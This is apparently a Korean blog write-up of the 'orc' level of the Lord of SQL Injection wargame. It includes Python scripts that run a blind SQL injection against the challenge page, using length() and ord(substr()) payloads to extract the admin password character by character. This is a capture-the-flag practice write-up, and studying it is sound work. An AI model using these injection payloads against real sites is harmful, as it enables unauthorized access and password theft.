WebHacking

[LOS] orc

BIGFROG 2022. 8. 4. 22:03

패스워드를 맞추면 되는 문제

 

필터는 prob _ . ( ) + 대소문자 구분 X(i옵션)

 

PW를 맞춰야 하므로 blind sqli

길이를 먼저 맞춰야 한다.

이 부분은 파이썬으로 짜는게 빠르다.

 

import requests

COOKIE = {'PHPSESSID': ''}
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
for i in range(1,20):
    query = f"pw=1' or id='admin' and length(pw)={i} %23"
    
    if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
        print("password length : ",i)
        break

 

비밀번호 길이는 8

 

substr를 이용해 한 글자씩 맞는 패스워드를 찾자

#los - orc

import requests

COOKIE = {'PHPSESSID': ''}
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
for i in range(1,20):
    query = f"pw=1' or id='admin' and length(pw)={i} %23"
    
    if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
        print("password length : ",i)
        break

print("password : ", end='')
for i in range(1,9):
    
    for ch in range(0x30,0x7f):
        query = f"pw=1' or id='admin' and ord(substr(pw,{i},1))={ch} %23"
        if 'Hello admin' in requests.get(url+query, cookies=COOKIE).text:
            #print(query)
            print(chr(ch), end='')
            break

처음에 substr ='{chr(ch)}' 이런식으로 비교했다가, D가 먼저 나와버려서 틀렸는데..

ord로 바꿔주면 substr(pw,4,1)부분에서 100이 나오는데(= 'd') 이게 정답.

 

'WebHacking' 카테고리의 다른 글

[LOS] darkelf  (0) 2022.08.06
[LOS] wolfman  (0) 2022.08.04
[LOS] goblin  (0) 2022.08.04
[LOS] Cobolt  (0) 2020.03.14
[LOS] gremlin  (0) 2020.01.09